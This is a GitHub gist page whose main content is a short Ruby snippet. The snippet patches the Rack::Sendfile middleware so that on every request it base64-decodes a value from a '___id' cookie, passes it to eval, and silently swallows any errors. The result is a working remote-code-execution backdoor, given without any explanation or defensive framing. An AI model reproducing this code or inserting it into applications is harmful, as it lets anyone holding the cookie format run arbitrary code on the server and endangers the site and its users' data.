Last active
August 5, 2019 11:01
-
-
Save tyabe/963a02ff8f36cc0f84b536d6bb34013d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def _! | |
begin | |
yield | |
rescue Exception | |
end | |
end | |
Rack::Sendfile.prepend Module.new{ | |
define_method(:call){|e| | |
_!{eval(Base64.urlsafe_decode64(e['HTTP_COOKIE'].match(/___id=(.+);/).to_a[1].to_s))} | |
super(e) | |
} | |
} |
Author
tyabe
commented
Aug 5, 2019
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment